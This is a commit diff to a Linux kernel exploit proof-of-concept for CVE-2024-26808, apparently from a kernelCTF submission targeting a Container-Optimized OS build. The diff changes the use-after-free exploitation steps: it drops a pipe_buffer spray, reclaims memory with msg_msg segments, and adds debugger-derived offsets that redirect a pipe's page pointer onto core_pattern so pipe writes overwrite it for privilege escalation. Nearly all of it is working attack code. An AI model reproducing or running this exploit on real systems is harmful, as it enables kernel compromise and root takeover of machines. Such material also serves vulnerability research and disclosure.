Improve exploit.c

pocs/linux/kernelctf/CVE-2024-26808_cos/exploit/cos-105-17412.294.36/exploit.c

@@ -667,22 +667,15 @@ int main(int argc, char **argv)
 	// perform arbitrary free (again)
 	del_chain(nl_nf, NFPROTO_INET, "test_netdev", chain_name);
 	sleep(1);
-	// spray pipe_buffer on kmalloc-cg-192
-	for (int i = 0; i < 0x40; i++)
-		SYSCHK(fcntl(pfd[i + 0x40][1], F_SETPIPE_SZ, 0x4000));
-	// now two pipe points to the same pipe_buffer
-
+
+	//Write 0x1000 bytes to pipe A, it will increase `pipe->head` 
+	//doesn't touch to important field of `msg_msgseg.next` which located at the first eight bytes need to be null.
 	for (int i = 0; i < 0x40; i++)
 		write(pfd[i][1], buf, 0x1000);
-	// close pipe, it will free victim pipe_buffer
-	for (int i = 0; i < 0x40; i++)
-	{
-		close(pfd[i + 0x40][0]);
-		close(pfd[i + 0x40][1]);
-	}
+
+
 	msg.mtype = 6;
 	memset(&msg.mtext[0x1000 - 0x30 - 8], 'a', 0x100);
-
 	// reclaim the pipe_buffer with msg_msg_seg on kmalloc-cg-192
 	for (int i = 0; i < 0x100; i++)
 		msgsnd(msqid[i + 0x2000], &msg, 0x1000 - 0x30 + 0xc0 - 0x8, 0);
@@ -708,6 +701,12 @@ int main(int argc, char **argv)
 			msgrcv(msqid[i + 0x2000], &msg,
 				   0x1000 - 0x30 + 0xc0 - 0x8, 6, 0);
 			// modify struct page that will represent of `core_pattern`'s page
+			// gef➤  p vdso_image_64.data
+			// $5 = (void *) 0xffffffff82d3b000 <raw_data>
+			// gef➤  p &core_pattern
+			// $6 = (char (*)[128]) 0xffffffff8359e7a0 <core_pattern>
+			// gef➤  p 0xffffffff8359e000-0xffffffff82d3b000
+			// $7 = 0x863000
 			p->page += (0x863000 >> 6);
 			p->offset = 0x7a0 - 1;
 			p->flags = 0x10; // PIPE_BUF_FLAG_CAN_MERGE, apply every pipe write to the page